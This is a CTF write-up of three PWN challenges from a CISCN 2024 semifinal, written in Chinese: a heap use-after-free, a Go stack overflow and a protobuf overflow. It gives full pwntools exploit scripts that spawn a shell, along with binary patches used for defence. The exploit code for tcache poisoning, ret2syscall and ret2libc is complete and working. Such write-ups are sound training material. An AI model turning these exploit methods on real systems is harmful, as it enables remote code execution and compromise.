[CISCN2024]華中半決賽 PWN部分題解

S1nyer發表於2024-06-25

[CISCN2024]華中半決賽 PWN部分題解

這次比賽中我攻擊了2道,防禦了3道

note

一道2.31堆題,保護全開,存在UAF漏洞

攻擊

先填滿tcache bin然後利用unsorted bin洩露libc地址,再UAF修改tcache的fd指標為free_hook,再將system函式的地址寫入free_hook,最後觸發free函式getshell即可

exp

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
#p = remote('8.147.133.173', 19426)
p = process("./pwn")
#elf = ELF('./pwn')
libc=ELF("./libc.so.6")


def add(size,c):
	rl("5. exit\n")
	sl(str(1))
	rl("The size of your content: \n")
	sl(str(size))
	rl("content: \n")
	s(c)

def edit(idx,size,c):
	rl("5. exit\n")
	sl(str(2))
	rl("index: ")
	sl(str(idx))
	rl("The size of your content: \n")
	sl(str(size))
	rl("Content: \n")
	s(c)

def free(idx):
	rl("5. exit\n")
	sl(str(3))
	rl("index: ")
	sl(str(idx))

def show(idx):
	rl("5. exit\n")
	sl(str(4))
	rl("index: ")
	sl(str(idx))


for i in range(10):
	add(0x90,b'/bin/sh\x00')

for i in range(7):
	free(i)
free(7)
#debug('b *$rebase(0x15D0)')
show(7)
#libc_base=u64(rl(b'\x0a')[-7:-1].ljust(8, b'\x00'))-libc.sym['__malloc_hook']-96-0x10
libc_base = get_addr()-libc.sym['__malloc_hook']-96-0x10
lg("libcbase",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()

edit(6,0x90,p64(free_hook))
#debug('b *$rebase(0x1370)')
add(0x90,b'a')
add(0x90,p64(system))

free(9)
inter()

防禦

這裡我將刪除功能裡的call free直接nop掉,防禦成功

go_note

一道go的選單題,一開始還以為是go heap想直接放棄的(看到go就想吐

但之後仔細看一下發現就是棧溢位,漏洞點在edit功能

  str = content.str;
  for ( j = 0LL; j < content.len; ++j )
  {
    *(_BYTE *)v8 = *str;
    v8 = (__int128 *)((char *)v8 + 1);
    ++str;
  }

攻擊

除錯看一下溢位偏移,然後ret2syscall就行

這裡要提一嘴,找gadget有點麻煩,要用--depth引數增加搜尋深度,然後選擇一些不影響引數暫存器的gadget來用

ROPgadget --binary ./note --only "pop|ret|add|mov|xor" --depth 30 |grep "pop rsi"

exp

from pwn import *
p = process('./note')

rax=0x000000000040fbdd  #pop rax; pop rbp; ret; 
rdx=0x000000000047a8fa  #pop rdx ; ret
rdi=0x0000000000462498  #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret
rsi=0x0000000000462552  #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret; 
syscall=0x000000000045e0a9
bss=0x526680+0x1000
p.recvuntil("choice > ")
p.sendline(str(1))
p.recvuntil("note content: ")
p.sendline(b'a')

payload=b'a'*(0x40)+p64(rdi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0x100)+p64(syscall)
payload+=p64(rdi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)*2

p.recvuntil("choice > ")
p.sendline(str(3))
p.recvuntil("Please input note id:")
p.sendline(str(1))
p.recvuntil("Please input new content:")

p.sendline(payload)
p.send(b'/bin/sh\x00')

p.interactive()

防禦

這裡我是直接把*(_BYTE *)v8 = *str;這條語句nop掉了,對應000000000047F3DF mov [r12], r13b這條指令

protoverflow

一道簡單的protobuf棧溢位題,比賽的時候因為工具出了點問題導致沒能打出來,但防禦成功了

賽後自己再重新做了一遍,懶得patch libc,就直接用本機的libc打了(

攻擊

漏洞就在memcpy那裡

exp

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

import message_pb2
context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])

elf_patch = './pwn'
p = process([elf_patch], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(elf_patch)
libc = ELF(p.libc.path)

# debug('b *$rebase(0x332f)')

rl(b'0x')
libc_base = int(r(12), 16) - libc.sym['puts']



rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1


system, binsh = get_sb()

pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)

msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()

s(serialized_msg)

lg('libc_base', libc_base) 

inter()

防禦

將memcpy的size引數改成0x200即可,因為設定該引數的彙編指令mov edx, [rbp-0Ch]只有三個位元組的長度,但mov edx,0x200有五個位元組,所以不能在原指令上直接修改,這裡考慮跳轉到eh_frame段(在eh_frame段裡隨便找個看著順眼的地址)

如果用CE寫過彙編指令碼,那下面這個應該更好理解

0x0331B:
	jmp eh_frame
	nop ;nop來補齊六個位元組

eh_frame:
	mov edx,0x200 ;設定size引數為0x200
	mov rcx, [rbp-8] ;還原被覆蓋的指令
	jmp 0x3322 ;跳轉回去

相關文章